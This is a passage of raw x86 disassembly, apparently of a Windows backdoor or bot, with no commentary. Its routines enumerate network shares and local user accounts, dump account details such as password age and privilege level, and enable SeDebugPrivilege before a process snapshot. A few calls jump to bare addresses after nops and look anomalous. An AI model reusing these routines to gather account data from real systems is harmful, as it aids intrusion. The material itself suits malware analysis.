					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE40
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEB8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439098
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE5C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"


loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi


loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB004


loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax


loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C


loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A4[eax*4]
		push	offset unk_439150
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A0[eax*4]
		push	offset unk_439120
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DADF0
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_4390F8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE4C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE3C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFCC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------


loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439170
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h


loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB004


loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAED4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439360
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA


loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43932C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB004
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB004


loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567


loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DAB90
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DAB90
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAF84
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA98C
		push	offset unk_439694
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------


loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA98C
		push	eax
		push	offset dword_439668
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 26F054Fh
		nop
		push	eax
		call	dword_4CAF58
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF30
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------


loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFE0
		mov	esi, eax


loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2640871h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAF94, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAF78, ebx
		jz	loc_4198BB
		cmp	dword_4CAE88, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAF94
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
